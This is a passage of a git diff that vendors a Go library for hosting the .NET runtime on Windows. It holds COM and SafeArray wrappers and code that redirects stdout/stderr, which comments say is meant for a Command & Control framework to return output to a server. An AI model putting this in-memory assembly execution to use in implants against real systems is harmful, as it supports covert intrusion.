STDOUT/STDERR to an *os.File that can be read from this Go program +// The CLR executes assemblies outside of Go and therefore STDOUT/STDERR can't be captured using normal functions +// Intended to be used with a Command & Control framework so STDOUT/STDERR can be captured and returned +func RedirectStdoutStderr() (err error) { + // Create a new reader and writer for STDOUT + rSTDOUT, wSTDOUT, err = os.Pipe() + if err != nil { + err = fmt.Errorf("there was an error calling the os.Pipe() function to create a new STDOUT:\n%s", err) + return + } + + // Createa new reader and writer for STDERR + rSTDERR, wSTDERR, err = os.Pipe() + if err != nil { + err = fmt.Errorf("there was an error calling the os.Pipe() function to create a new STDERR:\n%s", err) + return + } + + // Set STDOUT/STDERR to the new files from os.Pipe() + // https://docs.microsoft.com/en-us/windows/console/setstdhandle + if err = windows.SetStdHandle(windows.STD_OUTPUT_HANDLE, windows.Handle(wSTDOUT.Fd())); err != nil { + err = fmt.Errorf("there was an error calling the windows.SetStdHandle function for STDOUT:\n%s", err) + return + } + + if err = windows.SetStdHandle(windows.STD_ERROR_HANDLE, windows.Handle(wSTDERR.Fd())); err != nil { + err = fmt.Errorf("there was an error calling the windows.SetStdHandle function for STDERR:\n%s", err) + return + } + + // Start STDOUT/STDERR buffer and collection + go BufferStdout() + go BufferStderr() + + return +} + +// RestoreStdoutStderr returns the program's original STDOUT/STDERR handles before they were redirected an *os.File +// Previously instantiated CLRs will continue to use the REDIRECTED STDOUT/STDERR handles and will not resume +// using the restored handles +func RestoreStdoutStderr() error { + if err := windows.SetStdHandle(windows.STD_OUTPUT_HANDLE, origSTDOUT); err != nil { + return fmt.Errorf("there was an error calling the windows.SetStdHandle function to restore the original STDOUT handle:\n%s", err) + } + if err := windows.SetStdHandle(windows.STD_ERROR_HANDLE, origSTDERR); err != nil { + return fmt.Errorf("there was an error calling the windows.SetStdHandle function to restore the original STDERR handle:\n%s", err) + } + return nil +} + +// ReadStdoutStderr reads from the REDIRECTED STDOUT/STDERR +// Only use when RedirectStdoutStderr was previously called +func ReadStdoutStderr() (stdout string, stderr string, err error) { + debugPrint("Entering into io.ReadStdoutStderr()...") + + // Sleep for one Microsecond to wait for STDOUT/STDERR goroutines to finish reading + // Race condition between reading the buffers and reading STDOUT/STDERR to the buffers + // Can't close STDOUT/STDERR writers once the CLR invokes on assembly and EOF is not + // returned because parent program is perpetually running + time.Sleep(1 * time.Microsecond) + + // Check the error channel to see if any of the goroutines generated an error + if len(errors) > 0 { + var totalErrors string + for e := range errors { + totalErrors += e.Error() + } + err = fmt.Errorf(totalErrors) + return + } + + // Read STDOUT Buffer + if Stdout.Len() > 0 { + stdout = Stdout.String() + Stdout.Reset() + } + + // Read STDERR Buffer + if Stderr.Len() > 0 { + stderr = Stderr.String() + Stderr.Reset() + } + return +} + +// CloseSTdoutStderr closes the Reader/Writer for the prviously redirected STDOUT/STDERR +// that was changed to an *os.File +func CloseStdoutStderr() (err error) { + err = rSTDOUT.Close() + if err != nil { + err = fmt.Errorf("there was an error closing the STDOUT Reader:\n%s", err) + return + } + + err = wSTDOUT.Close() + if err != nil { + err = fmt.Errorf("there was an error closing the STDOUT Writer:\n%s", err) + return + } + + err = rSTDERR.Close() + if err != nil { + err = fmt.Errorf("there was an error closing the STDERR Reader:\n%s", err) + return + } + + err = wSTDERR.Close() + if err != nil { + err = fmt.Errorf("there was an error closing the STDERR Writer:\n%s", err) + return + } + return nil +} + +// BufferStdout is designed to be used as a go routine to monitor for data written to the REDIRECTED STDOUT +// and collect it into a buffer so that it can be collected and sent back to a server +func BufferStdout() { + debugPrint("Entering into io.BufferStdout()...") + stdoutReader := bufio.NewReader(rSTDOUT) + for { + // Standard STDOUT buffer size is 4k + buf := make([]byte, 4096) + line, err := stdoutReader.Read(buf) + if err != nil { + errors <- fmt.Errorf("there was an error reading from STDOUT in io.BufferStdout:\n%s", err) + } + if line > 0 { + // Remove null bytes and add contents to the buffer + Stdout.Write(bytes.TrimRight(buf, "\x00")) + } + } +} + +// BufferStderr is designed to be used as a go routine to monitor for data written to the REDIRECTED STDERR +// and collect it into a buffer so that it can be collected and sent back to a server +func BufferStderr() { + debugPrint("Entering into io.BufferStderr()...") + stderrReader := bufio.NewReader(rSTDERR) + for { + // Standard STDOUT buffer size is 4k + buf := make([]byte, 4096) + line, err := stderrReader.Read(buf) + if err != nil { + errors <- fmt.Errorf("there was an error reading from STDOUT in io.BufferStdout:\n%s", err) + } + if line > 0 { + // Remove null bytes and add contents to the buffer + Stderr.Write(bytes.TrimRight(buf, "\x00")) + } + } +} diff --git a/vendor/github.com/Ne0nd0g/go-clr/isupporterrorinfo.go b/vendor/github.com/Ne0nd0g/go-clr/isupporterrorinfo.go new file mode 100644 index 0000000000..5b8af724db --- /dev/null +++ b/vendor/github.com/Ne0nd0g/go-clr/isupporterrorinfo.go @@ -0,0 +1,123 @@ +// +build windows + +package clr + +import ( + "fmt" + "syscall" + "unsafe" + + "golang.org/x/sys/windows" +) + +// ISupportErrorInfo Ensures that error information can be propagated up the call chain correctly. +// Automation objects that use the error handling interfaces must implement ISupportErrorInfo +// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/nn-oaidl-isupporterrorinfo +type ISupportErrorInfo struct { + vtbl *ISupportErrorInfoVtbl +} + +type ISupportErrorInfoVtbl struct { + // QueryInterface Retrieves pointers to the supported interfaces on an object. + QueryInterface uintptr + // AddRef Increments the reference count for an interface pointer to a COM object. + // You should call this method whenever you make a copy of an interface pointer. + AddRef uintptr + // Release Decrements the reference count for an interface on a COM object. + Release uintptr + // InterfaceSupportsErrorInfo Indicates whether an interface supports the IErrorInfo interface. + // https://docs.microsoft.com/en-us/windows/win32/api/oaidl/nf-oaidl-isupporterrorinfo-interfacesupportserrorinfo + InterfaceSupportsErrorInfo uintptr +} + +// QueryInterface queries a COM object for a pointer to one of its interface; +// identifying the interface by a reference to its interface identifier (IID). +// If the COM object implements the interface, then it returns a pointer to that interface after calling IUnknown::AddRef on it. +// HRESULT QueryInterface( +// REFIID riid, +// void **ppvObject +// ); +// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-queryinterface(refiid_void) +func (obj *ISupportErrorInfo) QueryInterface(riid windows.GUID, ppvObject unsafe.Pointer) error { + debugPrint("Entering into iunknown.QueryInterface()...") + hr, _, err := syscall.Syscall( + obj.vtbl.QueryInterface, + 3, + uintptr(unsafe.Pointer(obj)), + uintptr(unsafe.Pointer(&riid)), // A reference to the interface identifier (IID) of the interface being queried for. + uintptr(ppvObject), + ) + if err != syscall.Errno(0) { + return fmt.Errorf("the IUknown::QueryInterface method returned an error:\r\n%s", err) + } + if hr != S_OK { + return fmt.Errorf("the IUknown::QueryInterface method method returned a non-zero HRESULT: 0x%x", hr) + } + return nil +} + +// AddRef Increments the reference count for an interface pointer to a COM object. +// You should call this method whenever you make a copy of an interface pointer +// ULONG AddRef(); +// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-addref +func (obj *ISupportErrorInfo) AddRef() (count uint32, err error) { + debugPrint("Entering into iunknown.AddRef()...") + ret, _, err := syscall.Syscall( + obj.vtbl.AddRef, + 1, + uintptr(unsafe.Pointer(obj)), + 0, + 0, + ) + if err != syscall.Errno(0) { + return 0, fmt.Errorf("the IUnknown::AddRef method returned an error:\r\n%s", err) + } + err = nil + // Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive + count = *(*uint32)(unsafe.Pointer(ret)) + return +} + +// Release Decrements the reference count for an interface on a COM object. +// ULONG Release(); +// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-release +func (obj *ISupportErrorInfo) Release() (count uint32, err error) { + debugPrint("Entering into iunknown.Release()...") + ret, _, err := syscall.Syscall( + obj.vtbl.Release, + 1, + uintptr(unsafe.Pointer(obj)), + 0, + 0, + ) + if err != syscall.Errno(0) { + return 0, fmt.Errorf("the IUnknown::Release method returned an error:\r\n%s", err) + } + err = nil + // Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive + count = *(*uint32)(unsafe.Pointer(ret)) + return +} + +// InterfaceSupportsErrorInfo +// HRESULT InterfaceSupportsErrorInfo( +// REFIID riid +// ); +// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/nf-oaidl-isupporterrorinfo-interfacesupportserrorinfo +func (obj *ISupportErrorInfo) InterfaceSupportsErrorInfo(riid windows.GUID) error { + debugPrint("Entering into isupporterrorinfo.InterfaceSupportsErrorInfo()...") + hr, _, err := syscall.Syscall( + obj.vtbl.InterfaceSupportsErrorInfo, + 2, + uintptr(unsafe.Pointer(obj)), + uintptr(unsafe.Pointer(&riid)), + 0, + ) + if err != syscall.Errno(0) { + return fmt.Errorf("the ISupportErrorInfo::InterfaceSupportsErrorInfo method returned an error:\r\n%s", err) + } + if hr != S_OK { + return fmt.Errorf("the ISupportErrorInfo::InterfaceSupportsErrorInfo method method returned a non-zero HRESULT: 0x%x", hr) + } + return nil +} diff --git a/vendor/github.com/Ne0nd0g/go-clr/iunknown.go b/vendor/github.com/Ne0nd0g/go-clr/iunknown.go new file mode 100644 index 0000000000..d0e8adb000 --- /dev/null +++ b/vendor/github.com/Ne0nd0g/go-clr/iunknown.go @@ -0,0 +1,99 @@ +// +build windows + +package clr + +import ( + "fmt" + "syscall" + "unsafe" + + "golang.org/x/sys/windows" +) + +type IUnknown struct { + vtbl *IUnknownVtbl +} + +// IUnknownVtbl Enables clients to get pointers to other interfaces on a given object through the +// QueryInterface method, and manage the existence of the object through the AddRef and Release methods. +// All other COM interfaces are inherited, directly or indirectly, from IUnknown. Therefore, the three +// methods in IUnknown are the first entries in the vtable for every interface. +// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nn-unknwn-iunknown +type IUnknownVtbl struct { + // QueryInterface Retrieves pointers to the supported interfaces on an object. + QueryInterface uintptr + // AddRef Increments the reference count for an interface pointer to a COM object. + // You should call this method whenever you make a copy of an interface pointer. + AddRef uintptr + // Release Decrements the reference count for an interface on a COM object. + Release uintptr +} + +// QueryInterface queries a COM object for a pointer to one of its interface; +// identifying the interface by a reference to its interface identifier (IID). +// If the COM object implements the interface, then it returns a pointer to that interface after calling IUnknown::AddRef on it. +// HRESULT QueryInterface( +// REFIID riid, +// void **ppvObject +// ); +// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-queryinterface(refiid_void) +func (obj *IUnknown) QueryInterface(riid windows.GUID, ppvObject unsafe.Pointer) error { + debugPrint("Entering into iunknown.QueryInterface()...") + hr, _, err := syscall.Syscall( + obj.vtbl.QueryInterface, + 3, + uintptr(unsafe.Pointer(obj)), + uintptr(unsafe.Pointer(&riid)), // A reference to the interface identifier (IID) of the interface being queried for. + uintptr(ppvObject), + ) + if err != syscall.Errno(0) { + return fmt.Errorf("the IUknown::QueryInterface method returned an error:\r\n%s", err) + } + if hr != S_OK { + return fmt.Errorf("the IUknown::QueryInterface method method returned a non-zero HRESULT: 0x%x", hr) + } + return nil +} + +// AddRef Increments the reference count for an interface pointer to a COM object. +// You should call this method whenever you make a copy of an interface pointer +// ULONG AddRef(); +// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-addref +func (obj *IUnknown) AddRef() (count uint32, err error) { + debugPrint("Entering into iunknown.AddRef()...") + ret, _, err := syscall.Syscall( + obj.vtbl.AddRef, + 1, + uintptr(unsafe.Pointer(obj)), + 0, + 0, + ) + if err != syscall.Errno(0) { + return 0, fmt.Errorf("the IUnknown::AddRef method returned an error:\r\n%s", err) + } + err = nil + // Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive + count = *(*uint32)(unsafe.Pointer(ret)) + return +} + +// Release Decrements the reference count for an interface on a COM object. +// ULONG Release(); +// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-release +func (obj *IUnknown) Release() (count uint32, err error) { + debugPrint("Entering into iunknown.Release()...") + ret, _, err := syscall.Syscall( + obj.vtbl.Release, + 1, + uintptr(unsafe.Pointer(obj)), + 0, + 0, + ) + if err != syscall.Errno(0) { + return 0, fmt.Errorf("the IUnknown::Release method returned an error:\r\n%s", err) + } + err = nil + // Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive + count = *(*uint32)(unsafe.Pointer(ret)) + return +} diff --git a/vendor/github.com/Ne0nd0g/go-clr/methodinfo.go b/vendor/github.com/Ne0nd0g/go-clr/methodinfo.go new file mode 100644 index 0000000000..28e7b3be0b --- /dev/null +++ b/vendor/github.com/Ne0nd0g/go-clr/methodinfo.go @@ -0,0 +1,207 @@ +// +build windows + +package clr + +import ( + "fmt" + "syscall" + "unsafe" + + "golang.org/x/sys/windows" +) + +// from mscorlib.tlh + +type MethodInfo struct { + vtbl *MethodInfoVtbl +} + +// MethodInfoVtbl Discovers the attributes of a method and provides access to method metadata. +// Inheritance: Object -> MemberInfo -> MethodBase -> MethodInfo +// MethodInfo Class: https://docs.microsoft.com/en-us/dotnet/api/system.reflection.methodinfo?view=net-5.0 +// MethodBase Class: https://docs.microsoft.com/en-us/dotnet/api/system.reflection.methodbase?view=net-5.0 +// MemberInfo Class: https://docs.microsoft.com/en-us/dotnet/api/system.reflection.memberinfo?view=net-5.0 +// Object Class: https://docs.microsoft.com/en-us/dotnet/api/system.object?view=net-5.0 +type MethodInfoVtbl struct { + QueryInterface uintptr + AddRef uintptr + Release uintptr + GetTypeInfoCount uintptr + GetTypeInfo uintptr + GetIDsOfNames uintptr + Invoke uintptr + get_ToString uintptr + Equals uintptr + GetHashCode uintptr + GetType uintptr + get_MemberType uintptr + get_name uintptr + get_DeclaringType uintptr + get_ReflectedType uintptr + GetCustomAttributes uintptr + GetCustomAttributes_2 uintptr + IsDefined uintptr + GetParameters uintptr + GetMethodImplementationFlags uintptr + get_MethodHandle uintptr + get_Attributes uintptr + get_CallingConvention uintptr + Invoke_2 uintptr + get_IsPublic uintptr + get_IsPrivate uintptr + get_IsFamily uintptr + get_IsAssembly uintptr + get_IsFamilyAndAssembly uintptr + get_IsFamilyOrAssembly uintptr + get_IsStatic uintptr + get_IsFinal uintptr + get_IsVirtual uintptr + get_IsHideBySig uintptr + get_IsAbstract uintptr + get_IsSpecialName uintptr + get_IsConstructor uintptr + Invoke_3 uintptr + get_returnType uintptr + get_ReturnTypeCustomAttributes uintptr + GetBaseDefinition uintptr +} + +func (obj *MethodInfo) QueryInterface(riid windows.GUID, ppvObject unsafe.Pointer) error { + debugPrint("Entering into methodinfo.QueryInterface()...") + hr, _, err := syscall.Syscall( + obj.vtbl.QueryInterface, + 3, + uintptr(unsafe.Pointer(obj)), + uintptr(unsafe.Pointer(&riid)), // A reference to the interface identifier (IID) of the interface being queried for. + uintptr(ppvObject), + ) + if err != syscall.Errno(0) { + return fmt.Errorf("the IUknown::QueryInterface method returned an error:\r\n%s", err) + } + if hr != S_OK { + return fmt.Errorf("the IUknown::QueryInterface method method returned a non-zero HRESULT: 0x%x", hr) + } + return nil +} + +func (obj *MethodInfo) AddRef() uintptr { + ret, _, _ := syscall.Syscall( + obj.vtbl.AddRef, + 1, + uintptr(unsafe.Pointer(obj)), + 0, + 0) + return ret +} + +func (obj *MethodInfo) Release() uintptr { + ret, _, _ := syscall.Syscall( + obj.vtbl.Release, + 1, + uintptr(unsafe.Pointer(obj)), + 0, + 0) + return ret +} + +// Invoke_3 Invokes the method or constructor reflected by this MethodInfo instance. +// virtual HRESULT __stdcall Invoke_3 ( +// /*[in]*/ VARIANT obj, +// /*[in]*/ SAFEARRAY * parameters, +// /*[out,retval]*/ VARIANT * pRetVal ) = 0; +// https://docs.microsoft.com/en-us/dotnet/api/system.reflection.methodbase.invoke?view=net-5.0 +func (obj *MethodInfo) Invoke_3(variantObj Variant, parameters *SafeArray) (err error) { + debugPrint("Entering into methodinfo.Invoke_3()...") + var pRetVal *Variant + hr, _, err := syscall.Syscall6( + obj.vtbl.Invoke_3, + 4, + uintptr(unsafe.Pointer(obj)), + uintptr(unsafe.Pointer(&variantObj)), + uintptr(unsafe.Pointer(parameters)), + uintptr(unsafe.Pointer(pRetVal)), + 0, + 0, + ) + if err != syscall.Errno(0) { + err = fmt.Errorf("the MethodInfo::Invoke_3 method returned an error:\r\n%s", err) + return + } + + // If the HRESULT is a TargetInvocationException, attempt to get the inner error + // This currentl doesn't work + if uint32(hr) == COR_E_TARGETINVOCATION { + var iSupportErrorInfo *ISupportErrorInfo + // See if MethodInfo supports the ISupportErrorInfo interface + err = obj.QueryInterface(IID_ISupportErrorInfo, unsafe.Pointer(&iSupportErrorInfo)) + if err != nil { + err = fmt.Errorf("the MethodInfo::QueryInterface method returned an error when looking for the ISupportErrorInfo interface:\r\n%s", err) + return + } + + // See if the ICorRuntimeHost interface supports the IErrorInfo interface + // Not sure if there is an Interface ID for MethodInfo + err = iSupportErrorInfo.InterfaceSupportsErrorInfo(IID_ICorRuntimeHost) + if err != nil { + err = fmt.Errorf("there was an error with the ISupportErrorInfo::InterfaceSupportsErrorInfo method:\r\n%s", err) + return + } + + // Get the IErrorInfo object + iErrorInfo, errG := GetErrorInfo() + if errG != nil { + err = fmt.Errorf("there was an error getting the IErrorInfo object:\r\n%s", errG) + return err + } + + // Read the IErrorInfo description + desc, errD := iErrorInfo.GetDescription() + if errD != nil { + err = fmt.Errorf("the IErrorInfo::GetDescription method returned an error:\r\n%s", errD) + return err + } + if desc == nil { + err = fmt.Errorf("the Assembly::Invoke_3 method returned a non-zero HRESULT: 0x%x", hr) + return + } + err = fmt.Errorf("the Assembly::Invoke_3 method returned a non-zero HRESULT: 0x%x with an IErrorInfo description of: %s", hr, *desc) + } + if hr != S_OK { + err = fmt.Errorf("the Assembly::Invoke_3 method returned a non-zero HRESULT: 0x%x", hr) + return + } + + if pRetVal != nil { + err = fmt.Errorf("the Assembly::Invoke_3 method returned a non-zero pRetVal: %+v", pRetVal) + return + } + err = nil + return +} + +// GetString returns a string that represents the current object +// a string version of the method's signature +// public virtual string ToString (); +// https://docs.microsoft.com/en-us/dotnet/api/system.object.tostring?view=net-5.0#System_Object_ToString +func (obj *MethodInfo) GetString() (str string, err error) { + debugPrint("Entering into methodinfo.GetString()...") + var object *string + hr, _, err := syscall.Syscall( + obj.vtbl.get_ToString, + 2, + uintptr(unsafe.Pointer(obj)), + uintptr(unsafe.Pointer(&object)), + 0, + ) + if err != syscall.Errno(0) { + err = fmt.Errorf("the MethodInfo::ToString method returned an error:\r\n%s", err) + return + } + if hr != S_OK { + err = fmt.Errorf("the Assembly::ToString method returned a non-zero HRESULT: 0x%x", hr) + return + } + err = nil + str = ReadUnicodeStr(unsafe.Pointer(object)) + return +} diff --git a/vendor/github.com/Ne0nd0g/go-clr/safearray.go b/vendor/github.com/Ne0nd0g/go-clr/safearray.go new file mode 100644 index 0000000000..016b7b44b8 --- /dev/null +++ b/vendor/github.com/Ne0nd0g/go-clr/safearray.go @@ -0,0 +1,340 @@ +// +build windows + +package clr + +import ( + "fmt" + "syscall" + "unsafe" +) + +// SafeArray represents a safe array +// defined in OAIdl.h +// typedef struct tagSAFEARRAY { +// USHORT cDims; +// USHORT fFeatures; +// ULONG cbElements; +// ULONG cLocks; +// PVOID pvData; +// SAFEARRAYBOUND rgsabound[1]; +// } SAFEARRAY; +// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/ns-oaidl-safearray +// https://docs.microsoft.com/en-us/archive/msdn-magazine/2017/march/introducing-the-safearray-data-structure +type SafeArray struct { + // cDims is the number of dimensions + cDims uint16 + // fFeatures is the feature flags + fFeatures uint16 + // cbElements is the size of an array element + cbElements uint32 + // cLocks is the number of times the array has been locked without a corresponding unlock + cLocks uint32 + // pvData is the data + pvData uintptr + // rgsabout is one bound for each dimension + rgsabound [1]SafeArrayBound +} + +// SafeArrayBound represents the bounds of one dimension of the array +// typedef struct tagSAFEARRAYBOUND { +// ULONG cElements; +// LONG lLbound; +// } SAFEARRAYBOUND, *LPSAFEARRAYBOUND; +// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/ns-oaidl-safearraybound +type SafeArrayBound struct { + // cElements is the number of elements in the dimension + cElements uint32 + // lLbound is the lowerbound of the dimension + lLbound int32 +} + +// CreateSafeArray is a wrapper function that takes in a Go byte array and creates a SafeArray containing unsigned bytes +// by making two syscalls and copying raw memory into the correct spot. +func CreateSafeArray(rawBytes []byte) (*SafeArray, error) { + debugPrint("Entering into safearray.CreateSafeArray()...") + + safeArrayBounds := SafeArrayBound{ + cElements: uint32(len(rawBytes)), + lLbound: int32(0), + } + + safeArray, err := SafeArrayCreate(VT_UI1, 1, &safeArrayBounds) + if err != nil { + return nil, err + } + // now we need to use RtlCopyMemory to copy our bytes to the SafeArray + modNtDll := syscall.MustLoadDLL("ntdll.dll") + procRtlCopyMemory := modNtDll.MustFindProc("RtlCopyMemory") + + // TODO Replace RtlCopyMemory with SafeArrayPutElement or SafeArrayAccessData + + // void RtlCopyMemory( + // void* Destination, + // const void* Source, + // size_t Length + // ); + // https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-rtlcopymemory + _, _, err = procRtlCopyMemory.Call( + safeArray.pvData, + uintptr(unsafe.Pointer(&rawBytes[0])), + uintptr(len(rawBytes)), + ) + + if err != syscall.Errno(0) { + return nil, err + } + + return safeArray, nil +} + +// SafeArrayCreate creates a new array descriptor, allocates and initializes the data for the array, and returns a pointer to the new array descriptor. +// SAFEARRAY * SafeArrayCreate( +// VARTYPE vt, +// UINT cDims, +// SAFEARRAYBOUND *rgsabound +// ); +// Varient types: https://docs.microsoft.com/en-us/windows/win32/api/wtypes/ne-wtypes-varenum +// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearraycreate +func SafeArrayCreate(vt uint16, cDims uint32, rgsabound *SafeArrayBound) (safeArray *SafeArray, err error) { + debugPrint("Entering into safearray.SafeArrayCreate()...") + + modOleAuto := syscall.MustLoadDLL("OleAut32.dll") + procSafeArrayCreate := modOleAuto.MustFindProc("SafeArrayCreate") + + ret, _, err := procSafeArrayCreate.Call( + uintptr(vt), + uintptr(cDims), + uintptr(unsafe.Pointer(rgsabound)), + ) + + if err != syscall.Errno(0) { + return + } + err = nil + + if ret == 0 { + err = fmt.Errorf("the OleAut32!SafeArrayCreate function return 0x%x and the SafeArray was not created", ret) + return + } + + // Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive + safeArray = (*SafeArray)(unsafe.Pointer(ret)) + return +} + +// SysAllocString converts a Go string to a BTSR string, that is a unicode string prefixed with its length. +// Allocates a new string and copies the passed string into it. +// It returns a pointer to the string's content. +// BSTR SysAllocString( +// const OLECHAR *psz +// ); +// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-sysallocstring +func SysAllocString(str string) (unsafe.Pointer, error) { + debugPrint("Entering into safearray.SysAllocString()...") + + modOleAuto := syscall.MustLoadDLL("OleAut32.dll") + sysAllocString := modOleAuto.MustFindProc("SysAllocString") + + input := utf16Le(str) + ret, _, err := sysAllocString.Call( + uintptr(unsafe.Pointer(&input[0])), + ) + + if err != syscall.Errno(0) { + return nil, err + } + // TODO Return a pointer to a BSTR instead of an unsafe.Pointer + // Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive + return unsafe.Pointer(ret), nil +} + +// SafeArrayPutElement pushes an element to the safe array at a given index +// HRESULT SafeArrayPutElement( +// SAFEARRAY *psa, +// LONG *rgIndices, +// void *pv +// ); +// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearrayputelement +func SafeArrayPutElement(psa *SafeArray, rgIndices int32, pv unsafe.Pointer) error { + debugPrint("Entering into safearray.SafeArrayPutElement()...") + + modOleAuto := syscall.MustLoadDLL("OleAut32.dll") + safeArrayPutElement := modOleAuto.MustFindProc("SafeArrayPutElement") + + hr, _, err := safeArrayPutElement.Call( + uintptr(unsafe.Pointer(psa)), + uintptr(unsafe.Pointer(&rgIndices)), + uintptr(pv), + ) + if err != syscall.Errno(0) { + return err + } + if hr != S_OK { + return fmt.Errorf("the OleAut32!SafeArrayPutElement call returned a non-zero HRESULT: 0x%x", hr) + } + return nil +} + +// SafeArrayLock increments the lock count of an array, and places a pointer to the array data in pvData of the array descriptor +// HRESULT SafeArrayLock( +// SAFEARRAY *psa +// ); +// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearraylock +func SafeArrayLock(psa *SafeArray) error { + debugPrint("Entering into safearray.SafeArrayLock()...") + + modOleAuto := syscall.MustLoadDLL("OleAut32.dll") + safeArrayCreate := modOleAuto.MustFindProc("SafeArrayCreate") + + hr, _, err := safeArrayCreate.Call(uintptr(unsafe.Pointer(psa))) + + if err != syscall.Errno(0) { + return err + } + + if hr != S_OK { + return fmt.Errorf("the OleAut32!SafeArrayCreate function returned a non-zero HRESULT: 0x%x", hr) + } + + return nil +} + +// SafeArrayGetVartype gets the VARTYPE stored in the specified safe array +// HRESULT SafeArrayGetVartype( +// SAFEARRAY *psa, +// VARTYPE *pvt +// ); +// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearraygetvartype +func SafeArrayGetVartype(psa *SafeArray) (uint16, error) { + debugPrint("Entering into safearray.SafeArrayGetVartype()...") + + var vt uint16 + + modOleAuto := syscall.MustLoadDLL("OleAut32.dll") + safeArrayGetVartype := modOleAuto.MustFindProc("SafeArrayGetVartype") + + hr, _, err := safeArrayGetVartype.Call( + uintptr(unsafe.Pointer(psa)), + uintptr(unsafe.Pointer(&vt)), + ) + + if err != syscall.Errno(0) { + return 0, err + } + if hr != S_OK { + return 0, fmt.Errorf("the OleAut32!SafeArrayGetVartype function returned a non-zero HRESULT: 0x%x", hr) + } + return vt, nil +} + +// SafeArrayAccessData increments the lock count of an array, and retrieves a pointer to the array data +// HRESULT SafeArrayAccessData( +// SAFEARRAY *psa, +// void HUGEP **ppvData +// ); +// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearrayaccessdata +func SafeArrayAccessData(psa *SafeArray) (*uintptr, error) { + debugPrint("Entering into safearray.SafeArrayAccessData()...") + + var ppvData *uintptr + + modOleAuto := syscall.MustLoadDLL("OleAut32.dll") + safeArrayAccessData := modOleAuto.MustFindProc("SafeArrayAccessData") + + hr, _, err := safeArrayAccessData.Call( + uintptr(unsafe.Pointer(psa)), + uintptr(unsafe.Pointer(&ppvData)), + ) + + if err != syscall.Errno(0) { + return nil, err + } + if hr != S_OK { + return nil, fmt.Errorf("the oleaut32!SafeArrayAccessData function returned a non-zero HRESULT: 0x%x", hr) + } + return ppvData, nil +} + +// SafeArrayGetLBound gets the lower bound for any dimension of the specified safe array +// HRESULT SafeArrayGetLBound( +// SAFEARRAY *psa, +// UINT nDim, +// LONG *plLbound +// ); +// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearraygetlbound +func SafeArrayGetLBound(psa *SafeArray, nDim uint32) (uint32, error) { + debugPrint("Entering into safearray.SafeArrayGetLBound()...") + var plLbound uint32 + modOleAuto := syscall.MustLoadDLL("OleAut32.dll") + safeArrayGetLBound := modOleAuto.MustFindProc("SafeArrayGetLBound") + + hr, _, err := safeArrayGetLBound.Call( + uintptr(unsafe.Pointer(psa)), + uintptr(nDim), + uintptr(unsafe.Pointer(&plLbound)), + ) + + if err != syscall.Errno(0) { + return 0, err + } + if hr != S_OK { + return 0, fmt.Errorf("the oleaut32!SafeArrayGetLBound function returned a non-zero HRESULT: 0x%x", hr) + } + return plLbound, nil +} + +// SafeArrayGetUBound gets the upper bound for any dimension of the specified safe array +// HRESULT SafeArrayGetUBound( +// SAFEARRAY *psa, +// UINT nDim, +// LONG *plUbound +// ); +// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearraygetubound +func SafeArrayGetUBound(psa *SafeArray, nDim uint32) (uint32, error) { + debugPrint("Entering into safearray.SafeArrayGetUBound()...") + + var plUbound uint32 + + modOleAuto := syscall.MustLoadDLL("OleAut32.dll") + safeArrayGetUBound := modOleAuto.MustFindProc("SafeArrayGetUBound") + + hr, _, err := safeArrayGetUBound.Call( + uintptr(unsafe.Pointer(psa)), + uintptr(nDim), + uintptr(unsafe.Pointer(&plUbound)), + ) + + if err != syscall.Errno(0) { + return 0, err + } + if hr != S_OK { + return 0, fmt.Errorf("the oleaut32!SafeArrayGetUBound function returned a non-zero HRESULT: 0x%x", hr) + } + return plUbound, nil +} + +// SafeArrayDestroy Destroys an existing array descriptor and all of the data in the array. +// If objects are stored in the array, Release is called on each object in the array. +// HRESULT SafeArrayDestroy( +// SAFEARRAY *psa +// ); +func SafeArrayDestroy(psa *SafeArray) error { + debugPrint("Entering into safearray.SafeArrayDestroy()...") + + modOleAuto := syscall.MustLoadDLL("OleAut32.dll") + safeArrayDestroy := modOleAuto.MustFindProc("SafeArrayDestroy") + + hr, _, err := safeArrayDestroy.Call( + uintptr(unsafe.Pointer(psa)), + 0, + 0, + ) + + if err != syscall.Errno(0) { + return fmt.Errorf("the oleaut32!SafeArrayDestroy function call returned an error:\n%s", err) + } + if hr != S_OK { + return fmt.Errorf("the oleaut32!SafeArrayDestroy function returned a non-zero HRESULT: 0x%x", hr) + } + return nil +} diff --git a/vendor/github.com/Ne0nd0g/go-clr/utils.go b/vendor/github.com/Ne0nd0g/go-clr/utils.go new file mode 100644 index 0000000000..52e4300692 --- /dev/null +++ b/vendor/github.com/Ne0nd0g/go-clr/utils.go @@ -0,0 +1,107 @@ +// +build windows + +package clr + +import ( + "bytes" + 